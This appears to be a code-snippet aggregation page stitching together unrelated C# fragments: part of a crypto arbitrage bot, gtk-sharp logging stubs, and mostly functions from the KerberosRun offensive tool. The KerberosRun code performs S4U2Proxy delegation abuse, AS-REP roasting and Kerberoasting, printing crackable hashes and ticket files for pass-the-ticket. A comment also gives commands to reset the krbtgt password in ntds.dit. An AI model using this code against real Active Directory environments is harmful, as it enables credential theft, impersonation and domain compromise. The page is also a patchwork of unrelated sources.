                CancellationFunc.Cancellation99(orderHandling);
            }
            catch (Exception ex)
            {
                DateTime localDate   = DateTime.Now;
                string   printResult = String.Format("{0}\n{1}", localDate.ToString(), ex.ToString());
                string   fileName    = String.Format("ExceptionArbitrage_{0}_{1}", (orderHandling.OrderToCare.request.IsBuy ? "Buy" : "Sell"), orderHandling.OrderToCare.request.Symbol);
                PrintException.Start(fileName, printResult);
                // TODU Send to a function to check if step b (sell) has been performed. And resubmit arbitrage order. The function should use a database to restore if the boot is shut down and restarted
            }

#if DEBUG
            orderHandling.debug += String.Format("\n\n{0},cutAmountFee,\n{1},Sell.extraPercent.Percent,\n{2},AmountTrade,\n{3},Sell.request.Amount,", cutAmountFee, orderHandling.Sell.extraPercent.Percent, orderHandling.AmountTrade, orderHandling.OrderToCare.request.Amount);
            PrintFunc.AddLine(StaticVariables.pathDebug + orderHandling.currency + "/Arbitrage_" + orderHandling.currency + ".csv", orderHandling.debug);
#endif


            // TODO Add a unique id variable to OrderHandling and send to a function that handles incomplete orders (orderLeft)
            if (!orderIsLeft)
            {
                PrintTable.PrintConsole("yes");

                orderHandling.buySymbolsDate.magicNumber.Buy.WaitingTimeForNextPriceUpdate   += 500;               // USE to ML_4
                orderHandling.sellSymbolsDate.magicNumber.Sell.WaitingTimeForNextPriceUpdate += 500;               // USE to ML_4
                if (orderHandling.itsBuyArbitrage)
                {
                    orderHandling.arbitrageSymbolsDate.magicNumber.Buy.WaitingTimeForNextPriceUpdate += 500;       // USE to ML_4
                }
                else
                {
                    orderHandling.arbitrageSymbolsDate.magicNumber.Sell.WaitingTimeForNextPriceUpdate += 500;      // USE to ML_4
                }
            }

            orderHandling.percent_end = orderHandling.revnuCalculation(orderHandling.percent_3);
            orderHandling.WalletResultEnd();
            PrintTable.Start(StaticVariables.pathWithDate + "WalletResultReal.csv", orderHandling.summaryTradeReal, "WalletResultReal");
            PrintTable.Start(StaticVariables.pathWithDate + "WalletResult.csv", orderHandling.summaryTrade, "WalletResult");

            PrintFunc.AddLine(StaticVariables.pathWithDate + "main.txt", orderHandling.PrintResult());
            PrintTable.Start(StaticVariables.pathWithDate + "OrderHandlingData.csv", orderHandling.PrintResult_2(), "OrderHandling");
#if DEBUG
            PrintFunc.AddLine(StaticVariables.pathDebug + orderHandling.currency + "/end_" + orderHandling.currency + ".csv", orderHandling.debug);
#endif
            result = orderHandling.succsseTrade;
            return(result);
        }
示例#29
0
文件: S4U.cs 项目: zhouzu/KerberosRun
        //S4U2Proxy
        //[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
        //The KDC checks if the security principal name(SPN) for Service 2,
        //identified in the sname and srealm fields of the KRB_TGS_REQ message,
        //is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
        //If it is, then the KDC replies with a service ticket for Service 2.
        //Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
        public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
                                                                  ILoggerFactory logger,
                                                                  TcpKerberosTransport transport,
                                                                  KrbAsRep asRep,
                                                                  KrbTgsRep s4u2self,
                                                                  string username,
                                                                  string password,
                                                                  string domainName,
                                                                  string impersonateuser,
                                                                  string spn,
                                                                  bool outKirbi        = false,
                                                                  bool verbose         = false,
                                                                  bool ptt             = false,
                                                                  string hash          = null,
                                                                  EncryptionType etype = EncryptionType.RC4_HMAC_NT)
        {
            var now = DateTime.UtcNow;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = password != null ?
                                          new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d)) :
                                          new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;


            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
                KdcOptions.RenewableOk;
            string    s4u             = null;
            KrbTicket s4uTicket       = s4u2self.Ticket;
            KrbTicket u2uServerTicket = null;



            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;

                additionalTickets.Add(rst.S4uTicket);
            }

            //EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
            string[] name = { };
            var      body = new KrbKdcReqBody
            {
                EType      = KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = name
                },
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );


            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.ResourceBasedConstrainedDelegation
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");

            try
            {
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    PrintFunc.PrintRep(tgsRep, credKey);

                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
                }

                if (outKirbi)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);

                    Console.WriteLine("[+] TGS Kirbi:");
                    Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                }
            }catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }
        }
示例#30
0
 static extern PrintFunc g_set_printerr_handler(PrintFunc handler);
示例#31
0
        //askTGT
        public static async System.Threading.Tasks.Task <KrbAsRep> askTGT(string kdc,
                                                                          ILoggerFactory logger,
                                                                          TcpKerberosTransport transport,
                                                                          string username,
                                                                          string password,
                                                                          string domainName,
                                                                          bool outKirbi           = false,
                                                                          bool verbose            = false,
                                                                          string format           = "hashcat",
                                                                          bool asreproast         = false,
                                                                          bool ptt                = false,
                                                                          string hash             = null,
                                                                          EncryptionType etype    = EncryptionType.RC4_HMAC_NT,
                                                                          bool outfile            = false,
                                                                          string tgtHash          = null,
                                                                          EncryptionType tgtEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
                                                                          )
        {
            var now = DateTime.Now;

            Console.WriteLine("[*] Starting Kerberos Authentication ...");

            if (password != null)
            {
                cred = new KerberosPasswordCredential(username, password, domainName);
            }
            else
            {
                cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
            }

            credKey = cred.CreateKey();

            //Pre-Auth
            KrbAsReq asReqMessage             = null;
            KrbAsRep asRep                    = null;
            bool     notPreauth               = true;
            AuthenticationOptions authOptions =
                AuthenticationOptions.IncludePacRequest |
                AuthenticationOptions.RenewableOk |
                AuthenticationOptions.Canonicalize |
                AuthenticationOptions.Renewable |
                AuthenticationOptions.Forwardable;
            int authAttempt = 0;

            while (notPreauth)
            {
                authAttempt += 1;

                try
                {
                    Console.WriteLine("[*] Sending AS-REQ ...");

                    var kdcOptions = (KdcOptions)(authOptions & ~AuthenticationOptions.AllAuthentication);

                    var hostAddress = Environment.MachineName;

                    var pacRequest = new KrbPaPacRequest
                    {
                        IncludePac = authOptions.HasFlag(AuthenticationOptions.IncludePacRequest)
                    };

                    var padata = new List <KrbPaData>()
                    {
                        new KrbPaData
                        {
                            Type  = PaDataType.PA_PAC_REQUEST,
                            Value = pacRequest.Encode()
                        }
                    };


                    asReqMessage = new KrbAsReq()
                    {
                        Body = new KrbKdcReqBody
                        {
                            Addresses = new[]
                            {
                                new KrbHostAddress
                                {
                                    AddressType = AddressType.NetBios,
                                    Address     = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' '))
                                }
                            },
                            CName = new KrbPrincipalName()
                            {
                                Type = PrincipalNameType.NT_PRINCIPAL,
                                Name = new[] { username }// + "@" + domainName.ToUpper() }
                            },
                            //KrbPrincipalName.FromString(
                            //    username,
                            //   PrincipalNameType.NT_ENTERPRISE,
                            //    domainName
                            //),
                            EType      = KrbConstants.KerberosConstants.ETypes.ToArray(),//kdcReqEtype,
                            KdcOptions = kdcOptions,
                            Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                            RTime      = KrbConstants.KerberosConstants.EndOfTime,
                            Realm      = credKey.PrincipalName.Realm,
                            SName      = new KrbPrincipalName
                            {
                                Type = PrincipalNameType.NT_SRV_INST,
                                Name = new[] { "krbtgt", credKey.PrincipalName.Realm }
                            },
                            Till = KrbConstants.KerberosConstants.EndOfTime
                        },
                        PaData = padata.ToArray()
                    };

                    if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
                    {
                        var ts = new KrbPaEncTsEnc()
                        {
                            PaTimestamp = now,
                            PaUSec      = now.Millisecond,
                        };

                        var tsEncoded = ts.Encode();

                        var padataAs = asReqMessage.PaData.ToList();

                        KrbEncryptedData encData = KrbEncryptedData.Encrypt(
                            tsEncoded,
                            credKey,
                            KeyUsage.PaEncTs
                            );

                        padataAs.Add(new KrbPaData
                        {
                            Type  = PaDataType.PA_ENC_TIMESTAMP,
                            Value = encData.Encode()
                        });

                        asReqMessage.PaData = padataAs.ToArray();
                    }

                    //AS-Req Part
                    if (verbose)
                    {
                        PrintFunc.PrintReq(asReqMessage, credKey);
                    }

                    var asReq = asReqMessage.EncodeApplication();

                    asRep = await transport.SendMessage <KrbAsRep>(
                        domainName,
                        asReq,
                        default(CancellationToken));
                }
                catch (KerberosProtocolException pex)
                {
                    Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);

                    if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED)
                    {
                        if (asreproast)
                        {
                            Console.WriteLine("[x] Sorry the provided user requires PreAuth.\n");
                            Environment.Exit(0);
                        }
                        else
                        {
                            //Salt issue for RID 500 Built-in admin account
                            //https://github.com/dotnet/Kerberos.NET/issues/164
                            if (password != null)
                            {
                                cred = new KerberosPasswordCredential(username, password, domainName);
                            }
                            else
                            {
                                cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
                            }

                            cred.IncludePreAuthenticationHints(pex?.Error?.DecodePreAuthentication());
                            credKey = cred.CreateKey();

                            authOptions |= AuthenticationOptions.PreAuthenticate;
                            Console.WriteLine("[*] Adding encrypted timestamp ...");
                        }
                    }
                    else if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_FAILED)
                    {
                        Console.WriteLine("[x] Invalid Credential! Authentication Stopped ...\n");
                        Environment.Exit(0);
                    }
                    else
                    {
                        Console.WriteLine("[x] Authentication Stopped ...\n");
                        Environment.Exit(0);
                    }
                }
                if (authAttempt == 2 || asreproast)
                {
                    notPreauth = false;
                }
            }

            Console.WriteLine("[*] Receiving AS-REP...");

            if (asreproast)
            {
                //Asreproasting
                string repHash = BitConverter.ToString(asRep.EncPart.Cipher.ToArray()).Replace("-", string.Empty);
                repHash = repHash.Insert(32, "$");

                string hashString = "";
                if (format == "john")
                {
                    hashString = String.Format("$krb5asrep${0}@{1}:{2}", username, domainName, repHash);
                    Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
                }
                else
                {
                    hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", username, domainName, repHash);
                    Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
                }
            }
            else
            {
                try
                {
                    KrbEncAsRepPart asDecryptedRepPart = cred.DecryptKdcRep(
                        asRep,
                        KeyUsage.EncAsRepPart,
                        d => KrbEncAsRepPart.DecodeApplication(d));

                    if (verbose)
                    {
                        //AS-Rep Part
                        PrintFunc.PrintRep(asRep, credKey);

                        if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
                        {
                            Console.WriteLine("    * [Decrypted Enc-Part]:");

                            PrintFunc.PrintRepEnc(asDecryptedRepPart, credKey);


                            ////////////////////////////////////////decrypt TGT
                            //// net stop ntds
                            //// $key =Get-BootKey -Online
                            //// $cred =  ConvertTo-SecureString -String "krbtgt" -AsPlainText -Force
                            //// Set-ADDBAccountPassword -SamAccountName krbtgt -NewPassword $cred -DatabasePath C:\Windows\NTDS\ntds.dit -BootKey $key
                            //// net start ntds

                            ////KeyTable keytab = new KeyTable(System.IO.File.ReadAllBytes("C:\\Users\\Public\\krbtgt.keytab"));
                            ////var krbtgtkey = keytab.GetKey(EncryptionType.AES256_CTS_HMAC_SHA1_96, asRep.Ticket.SName);
                            ///

                            if (!string.IsNullOrEmpty(tgtHash))
                            {
                                var krbtgtCred = new Utils.KerberosHashCreds("krbtgt", tgtHash, tgtEtype);

                                //TGS - REQ Ticket Enc-Part
                                var ticketDecrypted = asRep.Ticket.EncryptedPart.Decrypt
                                                          (krbtgtCred.CreateKey(),
                                                          KeyUsage.Ticket,
                                                          b => KrbEncTicketPart.DecodeApplication(b));
                                Console.WriteLine("   * [Decrypted TGT]:");
                                PrintFunc.PrintTicketEnc(ticketDecrypted);
                                //Encrypt the ticket again
                                asRep.Ticket.EncryptedPart = KrbEncryptedData.Encrypt(ticketDecrypted.EncodeApplication(),
                                                                                      krbtgtCred.CreateKey(), KeyUsage.Ticket);
                            }

                            //////////////////////////////////////TGT
                        }
                    }

                    if (outKirbi || outfile)
                    {
                        var kirbiTGT = Kirbi.toKirbi(asRep, asDecryptedRepPart, ptt);
                        if (outKirbi)
                        {
                            Console.WriteLine("[+] TGT Kirbi:");
                            Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGT));
                        }
                        if (outfile)
                        {
                            Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username), kirbiTGT);
                        }
                    }
                }
                catch (Exception e)
                {
                    Console.WriteLine("[x] {0}. Unable to decrypt the ticket, provided credential is invalid. (Check the ticket etype if you want to decrypt it)\n", e.Message);
                    //Environment.Exit(0);
                }
            }



            return((KrbAsRep)asRep);
        }
示例#32
0
        //TODO...
        //askTGS with TGT kirbi
        public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
                                                                              ILoggerFactory logger,
                                                                              TcpKerberosTransport transport,
                                                                              KrbAsRep asRep,
                                                                              string username,
                                                                              string password,
                                                                              string domainName,
                                                                              string spn,
                                                                              bool isUnconstrained    = false,
                                                                              bool outKirbi           = false,
                                                                              bool verbose            = false,
                                                                              bool kerberoast         = false,
                                                                              bool ptt                = false,
                                                                              string hash             = null,
                                                                              EncryptionType etype    = EncryptionType.RC4_HMAC_NT,
                                                                              bool outfile            = false,
                                                                              string srvName          = null,
                                                                              string tgsHash          = null,
                                                                              EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
                                                                              )
        {
            var now = DateTime.Now;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;



            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
                KdcOptions.RenewableOk |
                KdcOptions.Canonicalize;
            string    s4u             = null;
            KrbTicket s4uTicket       = null;
            KrbTicket u2uServerTicket = null;

            if (isUnconstrained)
            {
                spn         = $"krbtgt/{domainName}";
                kdcOptions |= KdcOptions.Forwarded;
            }


            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions |= KdcOptions.ConstrainedDelegation;

                additionalTickets.Add(rst.S4uTicket);
            }


            var body = new KrbKdcReqBody
            {
                //Specify RC4 as the only supported EType
                EType      = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = rst.CNameHint
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );

            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.BranchAware
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP ...");
            if (verbose)
            {
                PrintFunc.PrintRep(tgsRep, credKey);
            }



            var returnFlag = TicketFlags.Anonymous;

            try
            {
                //TGS-REP Enc-Part
                //https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);

                    returnFlag = tgsDecryptedRepPart.Flags;


                    if (!string.IsNullOrEmpty(tgsHash))
                    {
                        //=========================================
                        //TGS Tiket Enc-Part
                        //Service account Cred
                        var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);

                        //TGS-REQ Ticket Enc-Part
                        KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
                                                               (kerbCred2.CreateKey(),
                                                               KeyUsage.Ticket,
                                                               (ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));

                        Console.WriteLine("    * [Decrypted Ticket Enc-Part]:");
                        PrintFunc.PrintTicketEnc(ticketDecrypted);
                        //=========================================
                    }
                }


                if (outKirbi || outfile)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
                    if (outKirbi)
                    {
                        Console.WriteLine("[+] TGS Kirbi:");
                        Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                    }
                    if (outfile)
                    {
                        Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
                    }
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }



            if (kerberoast)
            {
                //Kerberoasting
                var encType    = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
                var myCipher   = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
                var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
                Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
            }


            return(returnFlag);
        }
示例#33
0
文件: Log.cs 项目: xclaesse/gtk-sharp
 public PrintHelper(PrintFunc managed)
 {
     this.managed = managed;
     GCHandle.Alloc(this);
 }
示例#34
0
文件: Log.cs 项目: sciyoshi/netgir
 static extern PrintFunc g_set_print_handler(PrintFunc handler);